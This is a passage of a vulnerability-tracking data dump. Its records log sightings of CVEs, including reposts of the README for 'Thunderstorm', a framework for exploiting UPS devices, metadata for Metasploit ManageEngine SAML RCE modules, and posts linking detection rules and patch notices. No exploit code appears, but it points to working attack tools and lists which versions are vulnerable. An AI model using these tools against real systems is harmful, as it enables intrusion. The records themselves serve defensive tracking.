You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:23.357511Z"}, {"uuid": "096265e1-5319-4b90-adcd-543bd14e9aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:23.409524Z"}, {"uuid": "2a5ded5d-aabe-4f5e-bd37-d48fcb9200ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:08.636964Z"}, {"uuid": "16d799e5-88d1-4ba8-a002-06e6e003035d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb", "content": "{\"aliases\": [], \"arch\": \"x86, x64, cmd\", \"author\": [\"Khoa Dinh\", \"horizon3ai\", \"Christophe De La Fuente\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploits an unauthenticated remote code execution vulnerability\\n          that affects Zoho ManageEngine AdSelfService Plus versions 6210 and\\n          below (CVE-2022-47966). Due to a dependency to an outdated library\\n          (Apache Santuario version 1.4.1), it is possible to execute arbitrary\\n          code by providing a crafted `samlResponse` XML to the ADSelfService Plus\\n          SAML endpoint. Note that the target is only vulnerable if it has been\\n          configured with SAML-based SSO at least once in the past, regardless of\\n          the current SAML-based SSO status.\", \"disclosure_date\": \"2023-01-10\", \"fullname\": \"exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:58 +0000\", \"name\": \"ManageEngine ADSelfService Plus Unauthenticated SAML RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966\", \"references\": [\"CVE-2022-47966\", \"URL-https://blog.viettelcybersecurity.com/saml-show-stopper/\", \"URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/\", \"URL-https://github.com/horizon3ai/CVE-2022-47966\", \"URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis\"], \"rport\": 9251, \"session_types\": false, \"targets\": [\"Windows EXE Dropper\", \"Windows Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:01.599640Z"}, {"uuid": "4f420b1d-b308-45f5-9d42-f07dec84968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb", "content": "{\"aliases\": [], \"arch\": \"java, x86, x64, cmd\", \"author\": [\"Khoa Dinh\", \"horizon3ai\", \"Christophe De La Fuente\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploits an unauthenticated remote code execution vulnerability\\n          that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and\\n          below (CVE-2022-47966). Due to a dependency to an outdated library\\n          (Apache Santuario version 1.4.1), it is possible to execute arbitrary\\n          code by providing a crafted `samlResponse` XML to the ServiceDesk Plus\\n          SAML endpoint. Note that the target is only vulnerable if it has been\\n          configured with SAML-based SSO at least once in the past, regardless of\\n          the current SAML-based SSO status.\", \"disclosure_date\": \"2023-01-10\", \"fullname\": \"exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:58 +0000\", \"name\": \"ManageEngine ServiceDesk Plus Unauthenticated SAML RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb\", \"platform\": \"Java,Linux,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966\", \"references\": [\"CVE-2022-47966\", \"URL-https://blog.viettelcybersecurity.com/saml-show-stopper/\", \"URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/\", \"URL-https://github.com/horizon3ai/CVE-2022-47966\", \"URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis\"], \"rport\": 8080, \"session_types\": false, \"targets\": [\"Java (in-memory)\", \"Windows EXE Dropper\", \"Windows Command\", \"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:01.864187Z"}, {"uuid": "29bd65b2-5d58-48dc-8fc3-abba1772be38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb", "content": "{\"aliases\": [], \"arch\": \"java, x86, x64, cmd\", \"author\": [\"Khoa Dinh\", \"horizon3ai\", \"Christophe De La Fuente\", \"h00die-gr3y \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploits an unauthenticated remote code execution vulnerability\\n          that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10\\n          and below (CVE-2022-47966). Due to a dependency to an outdated library\\n          (Apache Santuario version 1.4.1), it is possible to execute arbitrary\\n          code by providing a crafted `samlResponse` XML to the Endpoint Central\\n          SAML endpoint. Note that the target is only vulnerable if it is\\n          configured with SAML-based SSO , and the service should be active.\", \"disclosure_date\": \"2023-01-10\", \"fullname\": \"exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:31 +0000\", \"name\": \"ManageEngine Endpoint Central Unauthenticated SAML RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb\", \"platform\": \"Java,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966\", \"references\": [\"CVE-2022-47966\", \"URL-https://blog.viettelcybersecurity.com/saml-show-stopper/\", \"URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/\", \"URL-https://github.com/horizon3ai/CVE-2022-47966\", \"URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis\"], \"rport\": 8020, \"session_types\": false, \"targets\": [\"Java (in-memory)\", \"Windows EXE Dropper\", \"Windows Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:51:54.481976Z"}, {"uuid": "6021af90-39ec-48a8-a7de-ebcf78cfe2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6526", "content": "Blue Team Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.30", "creation_timestamp": "2026-09-10T03:00:03.584377Z"}, {"uuid": "120065e2-a9b9-44ce-8f7b-72d1b27368e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/cissp/6627", "content": "CISA has updated its Known Exploited Vulnerabilities catalog with three new vulnerabilities that are currently being exploited \u2014 IBM Aspera Faspex (CVE-2022-47986) and Mitel MiVoice Connect (CVE-2022-41223 and CVE-2022-40765).\nRead more: https://thehackernews.com/2023/02/us-cybersecurity-agency-cisa-adds-three.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.03", "creation_timestamp": "2026-09-10T03:00:05.172165Z"}, {"uuid": "e8cf86a4-8bc9-459b-bd40-5c100690918b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6496", "content": "\ud83d\udd25 Don't wait until it's too late!\n\nZoho ManageEngine users, patch your instances now to avoid falling victim to critical CVE-2022-47966 vulnerability.\n\nDetails: https://thehackernews.com/2023/01/zoho-manageengine-poc-exploit-to-be.html\n\nResearchers are about to release  PoC exploit code.\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.27", "creation_timestamp": "2026-09-10T04:00:04.817682Z"}, {"uuid": "43af0c47-d6ab-49a5-ab92-fd3031566b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6496", "content": "\ud83d\udd25 Don't wait until it's too late!\n\nZoho ManageEngine users, patch your instances now to avoid falling victim to critical CVE-2022-47966 vulnerability.\n\nDetails: https://thehackernews.com/2023/01/zoho-manageengine-poc-exploit-to-be.html\n\nResearchers are about to release  PoC exploit code.\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.27", "creation_timestamp": "2026-09-11T00:00:52.950032Z"}, {"uuid": "4a1b4f93-51e5-4031-a638-919122b84045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6526", "content": "Blue Team Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.30", "creation_timestamp": "2026-09-11T00:00:53.393953Z"}, {"uuid": "43d5a8fd-0329-4c83-ad0a-8b3fd5a9316e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/cissp/6627", "content": "CISA has updated its Known Exploited Vulnerabilities catalog with three new vulnerabilities that are currently being exploited \u2014 IBM Aspera Faspex (CVE-2022-47986) and Mitel MiVoice Connect (CVE-2022-41223 and CVE-2022-40765).\nRead more: https://thehackernews.com/2023/02/us-cybersecurity-agency-cisa-adds-three.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.03", "creation_timestamp": "2026-09-11T00:00:54.736936Z"}, {"uuid": "853e9c4a-e846-458b-98d3-db50a69f1f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:00:08.234532Z"}]}